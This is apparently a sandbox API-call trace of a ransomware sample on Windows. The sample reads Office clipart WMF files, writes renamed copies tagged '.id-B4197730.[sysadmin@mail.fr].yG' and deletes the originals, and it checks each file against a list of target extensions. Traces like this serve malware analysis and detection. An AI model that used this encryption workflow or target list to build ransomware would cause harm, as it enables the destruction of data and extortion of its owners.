	[0183.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220
	[0183.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.486] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.486] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.486] GetLastError () returned 0x0
	[0183.486] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x128, lpOverlapped=0x0) returned 1
	[0183.487] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x130, lpOverlapped=0x0) returned 1
	[0183.489] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.489] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.489] SetEndOfFile (hFile=0x378) returned 1
	[0183.489] CloseHandle (hObject=0x378) returned 1
	[0183.489] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.489] SetEndOfFile (hFile=0x374) returned 1
	[0183.490] CloseHandle (hObject=0x374) returned 1
	[0183.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1
	[0183.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.491] lstrlenW (lpString=".doc") returned 4
	[0183.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.491] lstrlenW (lpString=".docx") returned 5
	[0183.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.492] lstrlenW (lpString=".pdf") returned 4
	[0183.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.492] lstrlenW (lpString=".xls") returned 4
	[0183.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.492] lstrlenW (lpString=".xlsx") returned 5
	[0183.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.492] lstrlenW (lpString=".ppt") returned 4
	[0183.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.492] lstrlenW (lpString=".zip") returned 4
	[0183.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.492] lstrlenW (lpString=".rar") returned 4
	[0183.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.492] lstrlenW (lpString=".bz2") returned 4
	[0183.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.492] lstrlenW (lpString=".7z") returned 3
	[0183.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.492] lstrlenW (lpString=".dbf") returned 4
	[0183.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.492] lstrlenW (lpString=".1cd") returned 4
	[0183.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.492] lstrlenW (lpString=".jpg") returned 4
	[0183.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.493] lstrlenW (lpString=".doc") returned 4
	[0183.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.493] lstrlenW (lpString=".docx") returned 5
	[0183.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.493] lstrlenW (lpString=".pdf") returned 4
	[0183.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.493] lstrlenW (lpString=".xls") returned 4
	[0183.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.493] lstrlenW (lpString=".xlsx") returned 5
	[0183.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.493] lstrlenW (lpString=".ppt") returned 4
	[0183.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.493] lstrlenW (lpString=".zip") returned 4
	[0183.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.493] lstrlenW (lpString=".rar") returned 4
	[0183.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.493] lstrlenW (lpString=".bz2") returned 4
	[0183.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.493] lstrlenW (lpString=".7z") returned 3
	[0183.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.493] lstrlenW (lpString=".dbf") returned 4
	[0183.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.494] lstrlenW (lpString=".1cd") returned 4
	[0183.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0183.494] lstrlenW (lpString=".jpg") returned 4
	[0183.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.494] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.494] lstrlenW (lpString="DD01631_.WMF") returned 12
	[0183.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.494] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=552) returned 1
	[0183.494] CloseHandle (hObject=0x374) returned 1
	[0183.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220
	[0183.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.495] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.495] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.496] GetLastError () returned 0x0
	[0183.496] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x228, lpOverlapped=0x0) returned 1
	[0183.497] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x230, lpOverlapped=0x0) returned 1
	[0183.498] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.498] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.498] SetEndOfFile (hFile=0x378) returned 1
	[0183.499] CloseHandle (hObject=0x378) returned 1
	[0183.499] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.499] SetEndOfFile (hFile=0x374) returned 1
	[0183.500] CloseHandle (hObject=0x374) returned 1
	[0183.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1
	[0183.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.501] lstrlenW (lpString=".doc") returned 4
	[0183.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.501] lstrlenW (lpString=".docx") returned 5
	[0183.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.501] lstrlenW (lpString=".pdf") returned 4
	[0183.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.501] lstrlenW (lpString=".xls") returned 4
	[0183.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.501] lstrlenW (lpString=".xlsx") returned 5
	[0183.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.501] lstrlenW (lpString=".ppt") returned 4
	[0183.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.502] lstrlenW (lpString=".zip") returned 4
	[0183.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.502] lstrlenW (lpString=".rar") returned 4
	[0183.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.502] lstrlenW (lpString=".bz2") returned 4
	[0183.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.502] lstrlenW (lpString=".7z") returned 3
	[0183.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.502] lstrlenW (lpString=".dbf") returned 4
	[0183.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.502] lstrlenW (lpString=".1cd") returned 4
	[0183.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.502] lstrlenW (lpString=".jpg") returned 4
	[0183.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.503] lstrlenW (lpString=".doc") returned 4
	[0183.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.503] lstrlenW (lpString=".docx") returned 5
	[0183.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.503] lstrlenW (lpString=".pdf") returned 4
	[0183.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.503] lstrlenW (lpString=".xls") returned 4
	[0183.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.503] lstrlenW (lpString=".xlsx") returned 5
	[0183.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.503] lstrlenW (lpString=".ppt") returned 4
	[0183.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.503] lstrlenW (lpString=".zip") returned 4
	[0183.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.503] lstrlenW (lpString=".rar") returned 4
	[0183.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.503] lstrlenW (lpString=".bz2") returned 4
	[0183.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.503] lstrlenW (lpString=".7z") returned 3
	[0183.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.504] lstrlenW (lpString=".dbf") returned 4
	[0183.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.504] lstrlenW (lpString=".1cd") returned 4
	[0183.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0183.504] lstrlenW (lpString=".jpg") returned 4
	[0183.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.504] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.504] lstrlenW (lpString="DD01761_.WMF") returned 12
	[0183.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.505] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=4148) returned 1
	[0183.505] CloseHandle (hObject=0x374) returned 1
	[0183.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220
	[0183.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.505] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.505] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.506] GetLastError () returned 0x0
	[0183.506] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x1034, lpOverlapped=0x0) returned 1
	[0183.507] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x1040, lpOverlapped=0x0) returned 1
	[0183.509] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.509] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.509] SetEndOfFile (hFile=0x378) returned 1
	[0183.509] CloseHandle (hObject=0x378) returned 1
	[0183.509] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.509] SetEndOfFile (hFile=0x374) returned 1
	[0183.510] CloseHandle (hObject=0x374) returned 1
	[0183.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1
	[0183.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.512] lstrlenW (lpString=".doc") returned 4
	[0183.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.512] lstrlenW (lpString=".docx") returned 5
	[0183.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.512] lstrlenW (lpString=".pdf") returned 4
	[0183.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.512] lstrlenW (lpString=".xls") returned 4
	[0183.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.512] lstrlenW (lpString=".xlsx") returned 5
	[0183.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.512] lstrlenW (lpString=".ppt") returned 4
	[0183.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.512] lstrlenW (lpString=".zip") returned 4
	[0183.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.512] lstrlenW (lpString=".rar") returned 4
	[0183.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.512] lstrlenW (lpString=".bz2") returned 4
	[0183.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.512] lstrlenW (lpString=".7z") returned 3
	[0183.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.512] lstrlenW (lpString=".dbf") returned 4
	[0183.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.513] lstrlenW (lpString=".1cd") returned 4
	[0183.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.513] lstrlenW (lpString=".jpg") returned 4
	[0183.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.513] lstrlenW (lpString=".doc") returned 4
	[0183.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.513] lstrlenW (lpString=".docx") returned 5
	[0183.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.513] lstrlenW (lpString=".pdf") returned 4
	[0183.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.513] lstrlenW (lpString=".xls") returned 4
	[0183.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.513] lstrlenW (lpString=".xlsx") returned 5
	[0183.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.513] lstrlenW (lpString=".ppt") returned 4
	[0183.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.513] lstrlenW (lpString=".zip") returned 4
	[0183.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.513] lstrlenW (lpString=".rar") returned 4
	[0183.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.513] lstrlenW (lpString=".bz2") returned 4
	[0183.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.514] lstrlenW (lpString=".7z") returned 3
	[0183.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.514] lstrlenW (lpString=".dbf") returned 4
	[0183.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.514] lstrlenW (lpString=".1cd") returned 4
	[0183.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0183.514] lstrlenW (lpString=".jpg") returned 4
	[0183.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.514] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.514] lstrlenW (lpString="DD01772_.WMF") returned 12
	[0183.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.515] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=2300) returned 1
	[0183.515] CloseHandle (hObject=0x374) returned 1
